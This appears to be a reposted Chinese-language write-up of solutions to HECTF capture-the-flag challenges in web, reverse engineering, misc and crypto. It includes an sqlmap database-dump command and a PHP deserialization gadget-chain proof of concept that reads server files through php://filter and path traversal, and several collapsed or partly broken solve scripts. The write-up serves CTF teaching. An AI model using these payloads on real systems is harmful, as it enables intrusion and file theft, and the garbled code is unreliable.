
扫描目录找到找到/.htases目录提示访问之后,看路由去1目录提示hebnu,之后让用post方式,返回后是乱码可以用谷歌插件
之后改referer头
python3 sqlmap.py -u url/?id=1 --dbs -batch
flag在ctf库下的3eDf4f07efC9ee16表下flag字段
poc
<?phpclass A{public $file;}class B{public $str;public $huang;}class C{public $eee;public $aaa;public $ccc;}class D{public $ddd;public $ext;}$gagaga = new A();$gagaga->file=new B();$gagaga->file->str =new C();$gagaga->file-> str -> eee = new B();$gagaga->file-> str -> eee -> huang = new C();$gagaga->file-> str -> eee -> huang ->ccc = new D();$gagaga->file-> str -> eee -> huang ->ccc ->ddd ="SplFileObject";$gagaga->file-> str -> eee -> huang ->ccc ->ext ="php://filter/read=convert.base64-encode/resource=../../../";echo (serialize($gagaga));
分析:
unserialize会调用wakeup ,wakeup里有isset,会调用B.__isset会执行echo,调用C.toString会调用flag(),flag()方法不存在会调用B.__call,retrun str属性 属性不存在调用C.__get(),function()类当做方法使用会调用__invoke(),invoke里边 是echo new $a($b)的形式 ,可以触发反序列化原生类
用上边的查目录 路径应该是../../../f*
然后出来用SplFileObject+伪协议读取
SEVDVEZ7dV9maW5kX20NCnlfdHJ1bHlzZWxmfQ==
base64解码得到flag
包上HECTF{}即可
字符串中可以看到base32的码表以及加密函数
按照逻辑
将P0w3r中的值 取反后输出,解base32
#include<stdio.h>int main(){unsigned char P0w3r[] ={0xB5, 0xBD, 0xBC, 0xAA, 0xB8, 0xA9, 0xBC, 0xB8, 0xAF, 0xB1,0xBA, 0xAA, 0xB8, 0xCA, 0xB3, 0xAC, 0xB0, 0xB2, 0xA5, 0xAA,0xCD, 0xC9, 0xB4, 0xAB, 0xB0, 0xAD, 0xAE, 0xA7, 0xBA, 0xCB,0xA5, 0xAD, 0xB1, 0xA5, 0xBD, 0xB8, 0xAC, 0xCA, 0xBB, 0xAA,0xB8, 0xB1, 0xA5, 0xBA, 0xB0, 0xCB, 0xAB, 0xB5, 0xB8, 0xB1,0xAB, 0xBC, 0xB2, 0xA9, 0xA5, 0xAE, 0xB8, 0xB1, 0xC9, 0xAE};int i;for(i=0;i<strlen(P0w3r);i++){printf("%c",~P0w3r[i]);}}
base32解密
只是个异或0x1f后+1
flag2 = "X[]LZeX{ttqAwqmc"for i,v in enumerate(flag2):print(chr((ord(v)^0x1f)+1),end='')
主要逻辑在EzEncryptText中
%256 经典rc4算法
从Cry提取数组
密钥Key
跑脚本解
def rc4_main(key = "init_key", plain = "init_message"): #主函数s_box = rc4_init_sbox(key)crypt = rc4_excrypt(plain, s_box)return cryptdef rc4_init_sbox(key): #初始化sboxs_box = list(range(256)) j = 0for i in range(256):j = (j + s_box[i] + ord(key[i % len(key)])) % 256s_box[i], s_box[j] = s_box[j], s_box[i]return s_boxdef rc4_excrypt(plain, box): #rc4解密res = []i = j = 0for s in plain:if s <= 0:s = s + 256i = (i + 1) % 256j = (j + box[i]) % 256box[i], box[j] = box[j], box[i]t = (box[i] + box[j]) % 256k = box[t]res.append(chr(s ^ k))cipher = "".join(res)print("解密后的字符串是: %s" %cipher)return cipherif __name__ == '__main__':print("此脚本仅用于对于数组的RC4解密n")# 这里输入数组data = [ 0xC3, 0xF5, 0xE5, 0xE2, 0xEC, 0x17, 0xE5, 0x2A, 0xCA, 0x03, 0xB6, 0xFD, 0xC1, 0xBC, 0x70, 0x44, 0x10, 0xCD, 0xA6, 0x13, 0x0B, 0x9A, 0x73, 0x06, 0x0E, 0x4D, 0xDE, 0x95, 0x12, 0x9C, 0xD9, 0x46]key = "thisiskey"rc4_main(key, data)
先查壳,发现upx壳
准备upx-d脱壳可是没脱掉,应该是被魔改了,直接上脱壳机
查看主要加密函数
分析可得,这是个8*8*8的迷宫,+1 -1为左右移动,+8 -8为上下移动,+64 -64为前后移动
输入u会执行init函数初始化地图,所以输入31个u,定好断点,动调获取地图
获得地图,编写exp
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int check_s[200];
int m[10][8][8] ={{0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,0,1},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1},{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0}
};
int dx[]={0,0,1,-1,0,0};
int dy[]={0,0,0,0,1,-1};
int dz[]={1,-1,0,0,0,0};
int dis[10][10][10];
char ccc[]={'u','n','s','w','d','a'};
char flag[900];
int len;
void dfs(int x,int y, int z,int k){if(x==7&&y==7&&z==7){for(int i=0;i<len;i++)cout<<flag[i];cout<<"n";}dis[z][x][y]=k;for(int i=0;i<6;i++){int tx=x+dx[i];int ty=y+dy[i];int tz=z+dz[i];if(tx<0||ty<0||tz<0||tx>7||ty>7||tz>7) continue;if(m[tz][tx][ty]||dis[tz][tx][ty]<=k+1) continue;flag[len++]=ccc[i];dfs(tx,ty,tz,k+1);len--;}
}
int main(){memset(dis,10,sizeof(dis));dfs(0,0,0,0);
}
//ssddssuuwwddndduuussdussasauudd
整数溢出
#include<stdio.h>int main(){int v4;unsigned int v1;for (v1=0;v1<800;v1++){v4 = v1;if ( (char)v4 < -125 && v4 > 255 )printf("%dn",v4);}}
不想算,爆破一下
输哪个都行,然后发现没有flag
在.flag里
gif⼀帧⼀帧查看
HECTF{LuckForYou}
解base64得到⼀堆英⽂字符 另外⼀半是0宽 拼起来后进⾏词频统计
flag{kpomijnhuybrvdxezswq}
导出后解压zip 打开doc
⽂件尾有⽩⾊字符 为flag
提⽰74748183键盘密码sstv,⽤sstv解,得到base64的字符串
base64解密得到b8d55688410af102549de756eb3da854 somd5解密得到litangdj HECTF{litangdj}千千秀字⾳符解密
第⼀个加3为H,第⼆个+4为E,第⼆个+4为E
flag1 = [69,65,62,78,63,115,58,87,90,103,84,100,80,89,98,77,83,97,89,103]
for i,v in enumerate(flag1):print(chr(i+v+3),end='') import libnum
import gmpy2
from Crypto.Util.number import *p_= 10660749010264526666955869622200514149424664070021154725214604278423033834800955315638637946982741577976025615843487738805576629855459529381681679497064453109727962183277768658053394103348827822686515016677449953958986089293779870089604784750116267441026319440135025236091029928565442799040007751858012409498271852333017388486644053877238274838173771344350870565886676055860728949042361028753924290647753862707042472944714140635484722345522648010064713004854479094986010632316750770118044301903260988074471243247031854872785324506292730778884664223412372663828159205320038546293395502275887356885181013870536857351801
q_= 24900409366873586425973971191854411152048453357438215578406168704445779543895031579176888535442469919297663892450230816720758414920791049333275007446412352293152157437672026001378469357187698312455020558413101033543700131403373834030395855212901673914686297701313223697181049265286011127188695284002470629178098454764536315245968458622929902214839704674718996340182311301099900271312644919770585429288043854743210617868761990329037081770477261306489047429460937057125193231432195877922731165870197358946683698077175950756482605399815830687563398277515452842563143685190688865084064679712177247354049377034394880941369
c= 946358882688806235743551077996671406469185038565566907261383734984318844703303437873183869084536703835433988817350857866089668970925835657856975155167500190428922521871327955274363186305180350899397478897928581580727458938934640786146518171503388507311655160765881370401217708135845031083189007308497775864484758699096082815479602777639307812516934937183952478316508418895341680335172973583094238147073379957772209947376051520041093030641369536800448737539973770258342422560893630082723217759837690008955748444973711508371077927468399703456466637348191192859278206925769696645636969358967735037470196395844215361527039288120664704552775460536654859848091685928057224735031528303041212702445718384890182474053295656578327780048497422707815820736647212902522526653039676698263673166412650104420869762547385554961873764933774143297622712766521201037469301912471740996998228799841957283759679784569638149555093498363791420486340
n= 1677924010415009671349677258549532467848510897335579570922114838282842960143799964694977371357046837674443739542407516581076865550606801686170400793463690366665534118961173768008603133641864003317727610676872685077700753537755254540591236871020140458419596610210236431401477173114522177145982007059709616618279936170223104755776796458682957656555154039384483954754660803554302451221585280396378564648495919069459351016010016636012245082009946238467068412198769348889950331295680906811430325690102055808865038151762131291269197341984605959088829226733422023970618165958725486675321766767430347929319621215891165857544847088373700410007500868721335483070938971597851859953792409442485301373327127595552457801719192824050415833073999094005750868115932130442747899994421453654008731830580286370350900523295205445599466666709544075950517531382971246869745425091317996973135364990272852701046046315136273893166361180330563013617843e = 114
p = d(p_,n)
q = d(q_,n)t = n//p//qphi_n=(p-1)*(q-1)*(t-1)e = 114
r = tn=p*q*r
phi=(p-1)*(q-1)*(r-1)
td(e,phi)
d=gmpy2.invert(e//t,phi)
m=pow(c,d,n)
msg=gmpy2.iroot(m,t)
if msg[1]:print(long_to_bytes(msg[0]))
本文发布于:2024-02-02 17:15:14,感谢您对本站的认可!
本文链接:https://www.4u4v.net/it/170686531145266.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
| 留言与评论(共有 0 条评论) |